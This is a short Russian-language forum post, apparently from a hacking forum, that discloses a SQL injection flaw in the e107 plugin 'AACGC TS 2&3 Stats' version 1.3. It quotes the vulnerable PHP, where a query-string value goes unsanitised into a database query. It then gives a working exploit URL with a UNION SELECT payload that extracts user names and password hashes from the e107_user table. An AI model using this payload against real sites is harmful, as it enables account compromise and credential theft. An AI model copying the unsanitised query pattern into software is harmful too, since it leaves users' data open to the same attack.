Показать сообщение отдельно
Старый 02.02.2011, 13:48   #45
Online
 
Аватар для Online
 
Регистрация: 31.01.2011
Сообщений: 10
Репутация: 10
По умолчанию

Plugin name: AACGC TS 2&3 Stats (download)
Version: 1.3

SQL inj

Vuln file: e107_plugins/aacgc_psapi/PS3API_Details.php
PHP код:
///
if (e_QUERY) {
        
$tmp explode('.'e_QUERY);
        
$action $tmp[0];
        
$sub_action $tmp[1];
        
$id $tmp[2];
        unset(
$tmp);
}

$sql ->db_Select("user_extended""*""WHERE user_extended_id=$sub_action","");
/// 
Exploit:
Код:
http://[host]/[path]/e107_plugins/aacgc_psapi/PS3API_Details.php?det.-1%20union%20select%201,2,3,concat_ws(0x3a,user_name,user_password),5,6%20from%20e107_user%20limit%200,1--
Online вне форума   Ответить с цитированием